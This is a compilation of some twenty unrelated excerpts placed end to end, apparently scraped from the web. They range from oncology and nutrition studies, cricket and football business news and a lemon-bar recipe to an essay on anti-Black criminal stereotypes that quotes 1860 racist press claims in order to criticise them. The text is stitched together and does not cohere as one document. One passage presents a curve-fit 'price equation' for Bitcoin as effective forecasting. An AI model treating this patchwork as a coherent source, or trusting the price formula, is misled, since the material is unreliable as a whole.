sending positive thoughts and prayers Joanie's way until it's time for her to end her struggles. Joanie is doing everything in her power to continue her fight for life, the least we can do is whatever we can to assist her. Again, thank all of you who have kept her in your thoughts, made donations to her care, and cared about such a deserving spirit.
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C57BL/6 mice transplanted with MC38 or B16F10 tumors were injected intravenously with PBS, ΔppGpp S. typhimurium carrying an empty vector, or ΔppGpp S. typhimurium carrying pFlaB (+/− l-arabinose induction) to evaluate the antitumor activity of engineered ΔppGpp S. typhimurium. A separate group received an intratumoral injection of purified FlaB, either with or without an intravenous injection of ΔppGpp S. typhimurium carrying an empty vector. The best therapeutic effect was observed in mice treated with S. typhimurium carrying pFlaB in the presence of l-arabinose: the tumor was no longer detectable in 11 of 20 (55%) mice at the experimental end point ( Fig. 3A and figs. S9 and S10). We also observed markedly enhanced tumor suppression in mice that received a combination of S. typhimurium carrying an empty vector followed by an intratumoral injection of purified FlaB: three of eight treated mice (38%) showed complete tumor regression. Tumor shrinkage was significant in the bacteria-treated group in the absence of induction (P = 0.0002), but the tumors tended to regrow. Similar to PBS treatment, intratumoral injection of purified FlaB did not suppress tumor growth in mice ( Fig. 3 , A and B). In addition, groups of animals that received engineered bacteria plus FlaB/arabinose, or bacteria plus intratumoral purified FlaB, survived longer than those in the other groups ( Fig. 3C ). Only mice showing complete tumor regression survived beyond day 52 after tumor challenge. These mice regrew the hair on the shaved right flank and remained healthy until observations ceased on day 120 ( Fig. 3 , A and C). These data suggest that FlaB within the tumor elicits antitumor activity only in the presence of Salmonella. This, along with the finding that FlaB alone had no therapeutic effect, indicates that additional activation of TLR5 signaling in tumor tissue in which the microenvironment was modified in advance by S. typhimurium colonization is responsible for the enhanced tumor suppression. Notably, the tumor suppression activity of FlaB-secreting bacteria was superior to that of combination therapy comprising intravenous bacteria and intratumoral FlaB injections. The bacteria overgrown in tumor should have been secreting FlaB continuously in situ, which resulted in significantly enhanced destruction of tumor cells (P = 0.0465) ( Fig. 3 ).
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One has to build a brand and a fan base, which ensures good valuation.”All the franchises currently spend Rs 120-150 crore per year on average for running their teams.This includes player costs, franchise fees and other administrative and operating charges. In the last season, every franchise hadRs 66 crore for buying players, which most of them exhausted. However, from the next season, the teams will not pay a fixed franchise fee. Instead, they will be shelling out 20% of their revenue as franchise fee to BCCI.“From next year, every franchise will be a Rs 200 crore company. There is no reason for everyone not to be profitable, unless they spend too much on players,” said a sports marketing executive. “The only problem will be if all the players go for auctions and the player cap is increased to, say, Rs 100 crore. Because then many franchises may overbid for certain players and jeopardise profitability.”The three revenue streams for IPL franchises are central pool, sponsorship revenue and gate revenue (ticket sales).“The valuation is based on how strong is your brand and how many fans you have,” Mysore said. “If the brand is strong, other brands will want to associate with you and if the fan base is strong, it will result in increasing the gate revenues and merchandise. If you rely only on central revenue, you are not creating value but subsidising other costs. But yes, the revenue pool increase will make shareholders of all franchises happier.”
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The official claimed that the hiked charges are at par with the industry trend.Its larger peer ICICI Bank's website shows a minimum charge of Rs 150 for more than four cash transactions (deposits and withdrawals) at home branches for savings accounts, similar to what HDFC Bank is proposing.Axis Bank, the third largest private lender, charges Rs 150, or Rs 5 per thousand, for cash deposits of over Rs 1 lakh per month or from the fifth withdrawal at branches, its website said.It can be noted that a high-level panel led by former Finance Secretary Ratan Watal had called for imposing "nominal charges after a certain limit" for cash transactions.Working towards a less-cash economy , the Budget 2017- 2018 has placed blanket ban on cash transactions above Rs 3 lakh, following the report by the SIT on black money.
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Stimulus’ arousal is also discussed to modulate emotional word recognition effects [14], [22]. By computing a mixed-effect logistic regression on the error data, we were able to estimate the effect of subjectively judged stimulus arousal in explaining the present results. Surprisingly, a regression model that contained stimulus arousal and its interactions with the other variables, was not superior to a model without arousal, which leads to the assumption that the effects of stimulus’ arousal were small in the present study. Alternatively, the control of caffeine intake itself could have contributed to these small emotion effects in the placebo group, i.e. previous divided visual field studies did not ask their participants to refrain from caffeine or nicotine in 12 hours in advance [28], [58]. Thus, for example, caffeine mood effects have been interpreted under the withdrawal reversal hypothesis [54], [75]: Due to the fact that studies mainly examined caffeine effects after 12 hours of abstinence, it is discussed whether the positive effects of caffeine result from the removal of withdrawal effects in normal caffeine consumers. Accordingly, compared to the placebo group results, an effect of everyday caffeine consumption could have contributed to these earlier results, which should also be addressed in future examinations. To what extend did early and late effects of word recognition contribute to the present results? The HEMISPHERE*LEXICALITY interaction indicates possible differences in the recognition of words and pseudowords. Words led to more errors in the LVF/RH (0.44) compared to pseudowords (0.36) whereas accuracy in the RVF/LH was comparable in both conditions (0.33/0.32). Pseudowords receive their meaning from their phonology, which models of word recognition, like the MROM-p [76], assume to rely on late and effortful processing in visual word recognition. Such models propose that at sublexical processing stages, orthographic information has to be transferred to sublexical phonological codes, which activate lexical entries at the phonological word level [76] that trigger the button press. In contrast, words are processed directly along the associations between sublexical and lexical orthographic. This observed advantage of pseudowords in the LVF/RH fits the proposed RH superiority at post-lexical processing stages [58]. Together with the model predictions it seems likely that late phonological effects modulated the responses to RH stimuli, whereas decisions to LH stimuli, in accordance with its function in visual verbal processing relied more on early (orthographic) processing.
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IV. “the crime-stained blackness of the negro” It is impossible to conceive of the Gray Wastes without first conceiving of a large swath of its inhabitants as both more than criminal and less than human. These inhabitants, black people, are the preeminent outlaws of the American imagination. Black criminality is literally written into the American Constitution—the Fugitive Slave Clause, in Article IV of that document, declared that any “Person held to Service or Labour” who escaped from one state to another could be “delivered up on Claim of the Party to whom such Service or Labour may be due.” From America’s very founding, the pursuit of the right to labor, and the right to live free of whipping and of the sale of one’s children, were verboten for blacks. The crime of absconding was thought to be linked to other criminal inclinations among blacks. Pro-slavery intellectuals sought to defend the system as “commanded by God” and “approved by Christ.” In 1860, The New York Herald offered up a dispatch on the doings of runaway slaves residing in Canada. “The criminal calendars would be bare of a prosecution but for the negro prisoners,” the report claimed. Deprived of slavery’s blessings, blacks quickly devolved into criminal deviants who plied their trade with “a savage ferocity peculiar to the vicious negro.” Blacks, the report stated, were preternaturally inclined to rape: “When the lust comes over them they are worse than the wild beast of the forest.” Nearly a century and a half before the infamy of Willie Horton, a portrait emerged of blacks as highly prone to criminality, and generally beyond the scope of rehabilitation. In this fashion, black villainy justified white oppression—which was seen not as oppression but as “the corner-stone of our republican edifice.” Taken from Cotton Is King, and Pro-Slavery Arguments, crucial text in understanding the perspective of pro-slavery intellectuals. Michelle Alexander has taken some criticism for asserting, in her book The New Jim Crow, the connections between slavery, Jim Crow, and mass incarceration. Honestly, I was one of skeptics. But having finished this research, I really have to applaud Alexander’s attempt to connect mass incarceration with American history. I don’t totally agree with the book (I think linking crime and black struggle is even older than she does, for instance) but I think The New Jim Crow pursues the right line of questioning. I don’t think mass incarceration happens without the rise in crime.
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Overall changes in CVD risk factors between the intervention and comparison groups over the first year of intervention included reduced HDL cholesterol (P < 0.001) and increased triglyceride:HDL cholesterol (P = 0.009), as one might anticipate for a low-fat, high-carbohydrate diet; however, there were also reductions in insulin (P < 0.001) and glucose (P = 0.004), along with favorable changes in weight, waist circumference, and blood pressure (each P < 0.001). Although the low-fat diet design did not include energy restriction to promote weight loss, some weight loss occurred during the first year of trial participation and averaged (Table 2) ∼1 kg among women with prior CVD, compared with 2 kg for baseline healthy participants (P-interaction = 0.05). Otherwise, randomization group differences in risk factor changes during the first postrandomization year (Table 2) did not differ significantly across strata for a range of CVD risk factors, with one exception: LDL cholesterol at 1 y was lower in the intervention group by an estimated 2 mg/dL in women who were healthy at baseline but was larger by an estimated 15.9 mg/dL in women with prior CVD (P-interaction = 0.01). Evidence for this interaction was apparent in women taking cholesterol-lowering medications at baseline (P-interaction = 0.01) but was absent in women not taking these medications (P = 0.76). Furthermore, additional longitudinal analyses of LDL-cholesterol values for the intervention and comparison groups at 1, 3, and 6 y after randomization gave mean LDL cholesterol differences of −2.5 (95% CI: −4.8, −0.2), −1.8 (95% CI: −4.3, 0.6), and −2.8 (95% CI: −13.0, 7.3), respectively, which were quite similar across the 3 strata after the exclusion of women who were taking cholesterol-lowering medications at baseline, consistent with expectations for this dietary intervention.
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Previous testing using several in vitro [48], [49], [50] and ex vivo [51] models showed some aqueous-based lubricants reduced epithelial cell viability. Our evaluation of lubricants on epithelial cell lines in general showed decreasing cell viability associated with increasing osmolality of the gels. The hyperosmolar lubricants also perturbed epithelial monolayers showing a delayed reduction of the TER in the HEC-1-A cell line and a swift reduction of TER in the Caco-2 cell line. Interestingly, the slightly hypo-osmolar gel, Sliquid Organic, showed similar epithelial toxicity and loss of monolayer retention to the hyperosmolar gels. The reasons for this are not clear as there were no obvious ingredients on the package insert (Table 1) which would indicate toxicity. The remaining near iso-osmolar and hypo-osmolar gels did not affect the epithelial cell viability or monolayers. Of interest, the silicone-based lubricants showed no effect on the epithelial viability or monolayer using our testing methods. The effects to the epithelial monolayers were predictive of the epithelium retention on the polarized colorectal and ectocervical tissues. Three products showed a consistent decrease in tissue viability: Astroglide, Gynol II and KY Jelly. Astroglide’s osmolality likely impacted the tissue viability while chlorhexidine affected tissue viability in KY Jelly exposed tissue. Gynol II contains 2% N9 which decrease cellular/tissue viability ex vivo [36], [52]. In this study, a 24 h exposure to Gynol II reduced tissue viability by 67% to 80%. When viewed histologically, the ectocervical tissues showed fractured epithelium and were acellular while the colorectal tissues were stripped of their epithelium and were necrotic. The impact of the hyperosmolar and nonoxynol-9-containing gels on colorectal tissue was not unexpected as clinical data has shown stripping of the epithelium [32], [53]. These studies followed patients closely (within 30 min of dosing) and obtained biopsies to perform histological evaluation. Epithelial findings of the ectocervix/vagina have not been documented after vaginal use of these products. This is likely due to inconsistent observations after the last vaginal dose of gel and the lack of biopsies taken for histological testing. However, the stratified squamous epithelium of the ectocervix/vagina may not show the apparent epithelial disruption as does the columnar epithelium of the gastrointestinal tract. The other hyper- and hypo-osmolar gels had modest reductions of tissue viability with commensurate changes in mucosal epithelium. The only exception was Sliquid Organic which showed modest loss of ectocervical tissue viability and good epithelial retention of both tissues.
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HE was the little-known 17-year-old at the centre of the captaincy furore at the Gold Coast that began a snowball of events that resulted in billionaire businessman Clive Palmer losing his A-League licence. Now Mitch Cooper may be on his way to the Jets. The Newcastle Herald understands that the Jets have been in talks with the attacking midfielder who created headlines when plucked from obscurity by Palmer to captain Gold Coast on debut in a 1-0 loss to Melbourne Heart in February. The former Joeys representative went on play six A-League games, five as a starter. Cooper, who has been training with Brisbane Roar to keep fit, would be the third former Gold Coast United young gun to join the Jets following James Brown and Josh Brillante. Brillante, 19, had also been working with the Roar before signing a two-year deal with the Jets. Palmer’s move to elevate Cooper to the captaincy in place of suspended regular skipper Michael Thwaite for the round 21 clash against Melbourne Heart stunned the football community. Gold Coast coach Miron Bleiberg was suspended then sacked after he described the appointment as ceremonial and refused to back Palmer in his dispute with Football Federation Australia. That battle became a war and after some publicity stunts Palmer’s licence was revoked. The Jets’ policy is not to comment on negotiations but sources in Brisbane have told the Herald Cooper has been offered a contract. Coach Gary van Egmond put a broom through the Jets squad after the club failed to make the finals for a second season, releasing 10 players including veterans Kasey Wehrman, Byun Sung-hwan, Francis Jeffers and Matt Nash. The average age of the squad that assembled this week for pre-season training was 22, compared with 26.5 last season. Apprentices Connor Chapman and Mitch Oxborrow are the youngest at 17. Brazilian defender Tiago, 31, and Ryan Griffiths, 30, are the only players older than 27. Of the six players the Jets have recruited, Scott Neville is most senior at 23. James Brown is 22, Mark Birighitti 21, Craig Goodwin 20 and Adam Taggart and Brillante are 19. ‘‘Brown, Neville and Brillante have played 10 to 20-plus A-League games,’’ said assistant coach Craig Deans, who has deputised for van Egmond this week. The coach is undertaking his Pro Licence in Sydney. ‘‘They are not untested at this level,’’ Deans said.
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KERNEN: President Obama says he's inherited it from Bush, but there's earmarks galore across the board, and they're just saying this is not the time we're going to tackle that issue. Only five senators don't have earmarks -- only five of them. REBECCA QUICK (co-host): Which five? KERNEN: [Sen. John] McCain, [Sen. Russ] Feingold [D-WI], there's a couple of others. But you know, like, [Senate Minority Leader Mitch] McConnell's [R-KY] got a boatload of them, and -- QUICK: Yeah. I've seen some of the ones who are even complaining about how much is stuffed in there, but then they have their own stuff that they've jumped in, as well. KERNEN: They've got constituents, right? QUICK: Yeah, who was it who was saying it was -- one of the farm state guys was saying there's not enough in here to -- in terms of making sure that we cut back the budget deficit and, at the same time, he wouldn't let them do anything with the farm appropriations. KERNEN: Exactly. I think I read 8 or 9 billion, and -- but I see columnists saying that this is not the president's -- it's not his time to pick his fight with Congress. He's got this budget bill he wants to get through, so why alienate all these guys now -- QUICK: I can understand that. KERNEN: -- getting their earmarks out. QUICK: I can understand that. KERNEN: But he promised that no more earmarks. So Gibbs has been answering, you know, soon. Or the next omnibus bill, we're going to have our imprimatur -- is that how you say it? We'll put it on that but not on this one. QUICK: Our fingerprints on that, but -- well, we can probably understand that. Also [unintelligible] -- KERNEN: Well, you always take the -- QUICK: [Investor Warren] Buffett, the other day, said you can't do everything at once. KERNEN: Right. You're always -- QUICK: You can't do everything at once. KERNEN: You're always very generous with these guys sometimes. You're nice. You try to be -- QUICK: I have to sit on the other side of the table as you, so we have to balance the whole thing out.
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We’ve talked about it a few times in the years since, usually only when we’re both almost too drunk to speak, but I’ll never forget that moment.
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Un archivo digital con cerca de 20 mil documentos acerca del trabajo del artista chileno Guillermo Núñez es el que pretenden construir dos historiadoras del arte, por medio de una campaña de financiamiento colectivo. Natalia Castillo (25) e Isidora Neira (26) postularon el año pasado a un fondo concursable para desarrollar el proyecto, pero al no ganarlo decidieron seguir adelante. Por eso, crearon una campaña para lograr por esta vía los 14 mil dólares que necesitan para acondicionar y catalogar los documentos y crear y mantener el archivo en línea por, al menos, cinco años. El archivo contendría todas las obras y documentos que el propio artista, ganador del Premio Nacional de Artes Plásticas en 2007, ha recopilado. Serigrafías, óleos, libros, cuadernos, videos, catálogos, artículos de prensa, fotografías y otros objetos, que abarcan su trayectoria desde 1953 hasta la actualidad, a los que se podría acceder de manera gratuita a través del sitio. “Guillermo nos dice que hay profesores y alumnos que preguntan por él y que no tienen nada de información sobre los ganadores del Premio Nacional en internet, más que algunas biografías bastante por encima -explica Isidora Neira. Las obras que se han expuesto también son las más conocidas, entonces queremos contar cuál es su historia, entender por qué está haciendo lo que está haciendo y que la gente lo entienda también de esa manera. Que es alguien que tiene una historia detrás de cada obra y que debemos valorarla y reconocerla, porque no podemos encerrar a nuestros Premios Nacionales en salones oficiales”. Guillermo Núñez se inició como pintor en 1956, luego de estudiar Bellas Artes en la Universidad de Chile. A mediados de los ’60, luego de estadías en Europa y Nueva York, expuso en Santiago los primeros dibujos en los que integraba la estética del pop con su arte. En adelante su trabajo se volvió cada vez más político, participó de la campaña de Salvador Allende e incluso dirigió el Museo de Arte Contemporáneo durante su gobierno. Luego del golpe de Estado, fue torturado y detenido en dos ocasiones. Una de ellas, luego de inaugurar la muestra Printuras y exculturas en el Instituto Chileno Francés, en 1975, en la que daba cuenta de la experiencia de la tortura. La muestra fue cerrada y él tuvo que exiliarse en Francia. A los 86 años, Guillermo Núñez continúa activo.
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Panamagate is erupting, highlighting the lack of transparency over the world’s wealth, and it is just this lack of transparency that Powell is encouraging with Libya.The final irony is that Russia and UAE have sounded alarm bells, reminding the West that the original agreement for Libya’s government required that the elected parliament agree to it. Both powers are standing by the elected HoR parliament, even as the West throws its weight behind the Tripoli militias. The breakup of Libya is imminent, along an east-west faultline, and the irony is that Western powers will have been the orchestrator. - Excliusive to Times of Oman
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Aug 1992, age 23Owner of the meanest kneebar on this list, Cesar is a ‘sapateiro’ (Brazilian nickname for someone who hunts for leglocks). He performs better in no-gi than in the gi, winning the black belt absolute this year at the IBJJF Sao Paulo Open, and double gold the Brazilian Nationals in 2013 as a brown belt. Probanly his biggest moment came making it to the finals of the ADCC trials in Sao Paulo this year, losing by decision to this year’s openweight winning Claudio Calasans in the finals and submitting four of his five opponents along the way.--Photo: Anderson AlmeidaBorn 7. Sep 1992, age 23Yago and Wellington at #25 have been teammates for some years and stylistically they’re very similar. While Luis was Cicero’s up-and-comer at lightweight, de Souza is the team’s new young gun at middle. He's put in some amazing performances at brown belt, beating the likes of Dillon Danis by points in the gi in April. Along with Luis, Yago was promoted to black belt in June of this year.--Born 2. Jan 1993, age 22Rice got his black belt from one of the all-time best featherweight grapplers in the game, Rubens ‘Cobrinha’ Charles, at the tender age of 19. The promotion came shortly after he became a 2012 World Champion in the adult brown belt lightweight division. Rice teaches alongside his two younger brothers at their family-owned gym in Redding, California.--Born 30. Jul 1992, age 23After making a name for himself as no-gi world champ at brown belt in 2013, Sousa solidified his position as one of the toughest grapplers in his weight class on the American circuit with gold medal performances at IBJJF Opens in Dallas, Mami, Las Vegas and a double gold win at the UAEJJF US Nationals this year. Sousa came up under Pablo Popovitch, taking over his Florida training center when the ADCC champion relocated to the Middle East.--Photo: Hywel TeagueBorn 22. Aug 1993, age 22Mega-talented Danis was one of Marcelo Garcia’s ‘dream team’ of brown belts and is widely tipped as world champion material at the highest level. The New Jersey native was promoted to black belt in May this year and impressed analysts by handily tapping out UFC fighter Joe Lauzon on Metamoris.
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Tartine's Lemon Bars on Brown Butter Shortbread 2016-12-22 10:06:31 Yields 12 The best recipe for lemon bars a girl (or guy) could ask for. Write a review Save Recipe Print The crust 1/2 cup confectioners’ sugar 1 1/2 cups all-purpose flour 3/4 cup unsalted butter, at room temperature 1/2 cup pine nuts (optional) The Filling 1/2 cup all-purpose flour 2 1/4 cups sugar 1 cup plus 2 tbsp lemon juice lemon zest, grated from 1 small lemon 6 large whole eggs 1 large egg yolk pinch of salt confectioners’ sugar for topping (optional) Instructions Preheat the oven to 350 degrees Fahrenheit and grease a 9-by-13-inch baking pan (or line it with parchment paper). To make the crust: sift the confectioners’ sugar into the bowl of a stand mixer fitted with the paddle attachment. Stir in the flour. Add the butter and pine nuts (if using) and beat on low speed just until a smooth dough forms. Press the dough evenly into the pan. It should come 1/2 inch up the sides of the pan. Line the crust with parchment paper and fill with pie weights. Bake the crust until it is a deep golden brown, about 25-35 minutes. To make the filling: While the crust is baking sift the flour into a mixing bowl and whisk in the sugar until blended. Add the lemon juice and zest and stir to dissolve the sugar. In a separate mixing bowl, whisk the whole eggs and egg yolk with the salt. Add the eggs to the lemon juice mixture and whisk until well mixed. Once the crust is ready pour the filling directly into the pan (leave the pan in the oven while you do this for maximum "setting" magic). Reduce the oven temperature to 300 degrees Fahrenheit and bake just until the center of the custard is set, about 30 to 40 minutes. Let cool completely on a wire rack. Then cover and chill well before cutting. Cut into squares and dust the top with confectioners’ sugar, if desired. Enjoy! By Tartine Bakery Adapted from Tartine Cookbook Adapted from Tartine Cookbook You Can Eat Now http://www.youcaneatnow.com/
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But the opening scene, in which people in Central Park start spontaneously offing themselves, is the one saving grace-- spooky and effective without the heavy-handed obvious stuff that killed the movie later on.Sure, it's really just an homage to, but what a way to go regardless. Even completely drenched in oil, oil that wasn't even at the center of the conspiracy, Arterton looked fantastic, and became an instant icon in the process.I hated every minute of this cheap, sadistic movie, but the one moment of joy came when Naomi Watts managed to blow away the chubbier of her tormentors. Then Michael Pitt picked up a remote, rewound the movie, and brought Corbet back to life. Damn I hated this movie. Blended From Around The Web Facebook
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I think the total number of addresses(consisting largely of empty address as is easily seen here) and that I use in my formula,accurately measures the use of the bitcoin network , and the number of transactions.So it could lead to a "network value" as given by the famous Metcalfe's Lawinteresting comparison between the graph of the total number of addresses ( without the addresses to balance 0)and the graph of the total capital in BTC :Please note that in the two charts the order of the data is inverted for clarity:the left chart and the first data is small capitalization in right chart first data is hight capitalization.0.05% of addresses ( those with balance > 1000 ) that are a slice of the graph to the left absolutely invisible ,has more 'than 42 % of the capital, the largest slice in the right chart !The price analysis was definitely more simple: I wrote a simple programthat takes prices from blochckain.info .The interesting consideration is that the prices ( although in a more irregular way)are growing exponentially, and so I created the regressionson a logarithmic scale in order to have the indicators less " nervous " of proce speed growth .Here is the result :As you can see I have 3 calculated regression lines : since the beginning of 2011 , by the beginning of 2012 and beginning of 2013.The comparison between the two "worlds" , the seemingly chaotic and irregular prices, and thecompletely "calculable" of blockchain , led me to some interesting results .the growth curve of the totla addresses , has a nearly perfect correlation ( by end of 2011)with the regression line price !with a little elementary math, was easy to derive from this series of observationsan "Hypothetical" (but very effective ) price equation :definitions:I = total number of addresses (From blockchain)P = price in dollars (The result)m = coefficient angular straight line ( constant to be determined)P = ordinate at the origin (constant to be determined)^ = ExponentiationWe derive the equation of the price from the period of strong correlation identifiedfrom previous studies of price in dollars and the total number of addresses .since the linear correlation on logarithmic axes, we can assume:m * log (I) + p = log ( P)for the values of I p , we use addresses and pricesthe extremes of the strong correlation :I1 = number addresses to 01/01/2012 = 2773046P1 = price at 01/01/2012 = $ 5.2I2 = number addresses to 24/12/2013 = 24,296,059P2 = price = $ 698.43 24/12/2013can easily be obtainedm = (log (P2 ) -log ( P1 ) ) / (log (I2 ) -log (I1 ) ) = 2.25776380522923p = log ( P1) - log (I1) * m = - 31.8462990266051then the final equation will be :2.25776380522923 * log (I) - 31.8462990266051 = log ( P)e ^ ( ( 2.25776380522923 * log (I) - 31.8462990266051 ) ) = PReduce the decimal places, that does not change the substance but make equationeasy to remember and even more elegant:1 ) So how much is the bitcoin tomorrow ?Of course, as is easily seen from the graph, the function give a trend of prices ( llittle overestimatedthan the average ) , this means that we do not give the exact price tomorrow or in a week , but ratheran indication of what can be a consistent price .2 ) Does it work?would have more or less worked for two years from early 2012 to now (though often overestimate )but the trend was clearly indicated right .
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1H NMR (DMSO) δ 7.38–7.32 (m; 2H; H-2’/6’), 7.28–7.21 (m; 2H; H-3’/5’), 4.12 (d; J = 9.6 Hz; 1H; CH; H-2), 3.83–3.75 (m; 1H; CH; H-2”) 3.32 (s; 3H; CH 3 ), 3.28 (apparent d; J = 13.1 Hz; 1H; one H from H-6”), 2.96 (apparent t; J = 11.6 Hz; 1H; one H from H-6”), 1.74–1.64 (m; 2H; one H each from H-4” and 5”), 1.63–1.57 (m; 1H; one H from H-5”), 1.47–1.38 (m; 1H; one H from H-4”) and 1.46–1.27 (m; 2H; H-3”) ppm; 13C NMR (DMSO) δ 171.48 (C=O), 162.21 (d; J CF = 244.9 Hz; C-4’), 131.03 (d; J CF = 8.4 Hz; C-2’/6’), 130.52 (C-1’), 116.25 (d; J CF = 21.5 Hz; C-3’/5’), 56.93 (C-2”), 53.05 (CH 3 ), 52.68 (C-2), 44.84 (C-6”), 26.03 (C-3”), 21.94 (C-5”) and 21.55 (C-4”) ppm; 19F NMR (DMSO) δ -113.87 ppm. HR-APCI-MS observed m/z 252.139854 (theory [M + H]+: C 14 H 19 FNO 2 m/z 252.139433, Δ = 1.7 ppm). (±)-erythro-4F-MPH freebase (top band of preparative TLC) 1H NMR (CDCl 3 ) δ 7.47–7.34 (m; 2H; H-2’/6’), 7.12–6.99 (m; 2H; H-3’/5’), 3.68 (s; 3H; CH 3 ), 3.56 (d; J = 10.3 Hz; 1H; H-2), 3.11 (td; J = 10.1, 2.2 Hz; 1H; H-2”), 3.01(apparent d; J = 11.6 Hz; 1H; one H from H-6”), 2.55 (td; J = 11.6, 2.9 Hz; 1H; one H from H-6”), 1.87–1.68 (m; 2H; one H from H-3” and H-4”), 1.66–1.58 (m; 1H; one H from H-5”) and 1.55–1.25 (m; 3H; one H each from H-3”, 4” and 5”) ppm; 13C NMR (CDCl 3 ) δ 172.84 (C=O), 162.50 (d; J CF = 246.5 Hz; C-4’), 131.46 (C-1’), 130.36 (d; J CF = 7.9 Hz; C-2’/6’), 115.95 (d; J CF = 21.0 Hz; C-3’/5’), 59.09 (C-2”), 57.04 (C-2), 52.06 (CH 3 ), 46.94 (C-6”), 30.58 (C-3”), 25.39 (C-5”) and 24.22 (C-4”) ppm; 19F NMR (CDCl 3 ) δ −114.28 ppm.
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When it comes to augmented reality (AR), Apple claims it's tuned the cameras for the best experience possible as well as improved the internal gyroscope and accelerometer specifically for AR. It's especially great on iPhone X because of the edge-to-edge display. And it's where Apple's decision to go as close to edge-to-edge as possible really pays off. Aside from the TrueDepth camera module, there's almost no bezel to separate the augmented from the reality. In portrait, you do get that cutout. In landscape, though, my thumb falls there and it's as close to a transparent phone as I've ever seen. Even a small bezel straight across the top would have ended up being much more noticeable. The result is that, even more than previous iPhones, you feel like you're looking through a lens or a portal into a world where digital is made manifest. A world where you can swipe and pinch furniture, drop castles on your coffee table, build a rocket on your deck, and walk into entirely new dimensions. We're at the very, very beginning of consumer AR but iPhone X has already taken it on step further.
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Even more importantly, the pattern of their intermittency was similar on each level. This same phenomenon--self-similarity--can be observed in many systems that were previously believed to be totally irregular and unexplainable, ranging from the weather and the economy to the course of human history. For example, each tiny daily fluctuation in the weather mirrors the climatic record of the history of the planet. Each major renaissance in history is itself made up of smaller renaissance events, whose locations in time mirror the overall pattern of renaissances throughout history. Every chaotic system appears to be adhering to an underlying order of self-similarity. This means that our world is entirely or interdependent than we have previously understood. What goes on inside any one person's head is reflected, in some manner, on every other level of reality. So any individual being, through feedback and iteration, has the ability to redesign reality at large. Mandelbrot had begun to map the landscape of Cyberia. It Is the Mind of God The terrace of the Applied Sciences Building overlooks what students at University of California at Santa Cruz call Elf Land''--a dense section of woods where psychedelically enhanced humans meet interdimensional beings. Back in the corridor of the building, posters of computer-generated fractal images depicting the "arithmetic limits of iterative nonlinear equations'' line the walls. The pictures nearest the terrace look like the ferns on the floor of the forest. The ones farther back look more like the arrangements of the trees above them. Posters still farther seem like aerial maps of the forest, seen from above. The mathematician residing in this self-similar niche of academia and psychedelia is Ralph Abraham, who broke through to Cyberia on his own, and in a very different manner. He abandoned Princeton University in favor of U.C. Santa Cruz in 1968, during what he calls the apex of the counterculture.'' It was while taking psychedelics in huge barn "be-ins'' with his newfound friends that Abraham became familiar with what people were calling the emotional reality'' of numbers, and this led him to the hills and caves of the Far East where he spent several years meditating and hallucinating. On returning to the university and his computer, he embarked with renewed vigor into hyperspace to churn out the equations that explain his hallucinations and our existence.
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Relaxation is written in the ASMR policy, with whispering being its main vehicle of delivery. One sound designer even used Bob Ross's vanilla vocals as a sample in a controlled ASMR experiment (the results can be seen here). He concluded that "ASMR Speakers have uncannily similar pause:speech ratios. On average, ASMR speakers are pausing 48.28 percent of the time." Perhaps that's why The Joy of Painting was novel – its only editing prevalent in the cross dissolves between Ross and his glorious chef d'oeuvres. The recipe for a "head orgasm" seems, then, pretty straightforward: a pinch of frequent pause, a dash of whisper, and a shade of calm will have you quaking. More and more people are self-diagnosing their tingly sensations, and ASMR has started to climb the ladder of popular culture. Most recently, Spike Jonze's Oscar-nominated Her features a bodiless OS with a slinky voice (Scarlett Johansson). The main character, played by Joaquin Phoenix, falls in love with her sultry whisper. Even when a careless whisper is not meant to induce any sexual feelings, some people find it quite seductive. “I do search actively for videos. Specifically whispering videos,” says Reddit user WhisperingLizzy. "The best way I can describe tingles, for me at least, is just... Brain melting. I know that sounds silly but, it's like getting a massage for the brain." Deptford trio Drop Out Venus mentioned ASMR as the ultimate hangover cure in our interview with them. "There are ASMR videos on YouTube that will soothe any pain out of you. You'll either be creeped out or watch it every night. It's a bunch of girls doing roleplays of various things that mentally-different people find soothing. There is one Russian girl called Maria Gentlewhispering and the last video she did was of herself stroking tiny cotton balls and talking softly about how good it felt. That does it for me."
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Comparison with other studies Among potentially modifiable risk factors, the evidence from conventional observational studies consistently supports the association between educational attainment and Alzheimer’s disease.5 A previous Mendelian randomisation analysis found no evidence of an association between educational attainment and Alzheimer’s, but the analysis was based on a single genetic variant for length of education and only two variants for university completion.41 In our analysis, with data from genome-wide association studies with up to about 405 000 individuals,21 length of education conferred by 152 genetic variants and completion of college/university education conferred by 32 variants were significantly associated with Alzheimer’s. Moreover, genebased genome-wide analyses have shown that educational attainment is strongly genetically correlated with intelligence (r g =0.70), cognitive performance (r g =0.75), and Alzheimer’s (r g =−0.31-−0.36).1821 Our findings corroborate the results from previous Mendelian randomisation analyses showing no associations of genetically predicted BMI (based on 32 single nucleotide polymorphisms),414243 diabetes,41 fasting glucose and insulin (based on 10 single nucleotide polymorphisms),41 cholesterol (with exclusion of genetic variants near APOE),41444546 or triglycerides4144 with Alzheimer’s disease. We also found no evidence of an association between abdominal obesity (waist to hip ratio adjusted for BMI) and Alzheimer’s. These null findings suggest that the associations between metabolic factors and hypercholesterolaemia and risk observed in some conventional observational studies59 could reflect reverse causation bias or confounding—for example, by APOE, which has numerous roles in pathogenesis of Alzheimer’s.47 We found no association between systolic blood pressure and Alzheimer’s disease when we used about 100 genetic variants or when we restricted the analysis to the 50 single nucleotide polymorphisms that were most strongly associated with systolic blood pressure. This contrasts with an earlier Mendelian randomisation analysis,41 which showed an inverse association based on 24 variants. There are several possible explanations for this disparity. One explanation is that the earlier finding was a false positive and that the present analysis, in which the genetic variants associated with systolic blood pressure explain a larger proportion of variance, shows the true null association. Another explanation is that with a larger number of variants, the potential for pleiotropy is greater, which could have diluted the association in our analysis. A further complicating factor is survival bias as individuals with a high burden of variants associated with systolic blood pressure might have higher mortality and therefore be less represented among people with Alzheimer’s.
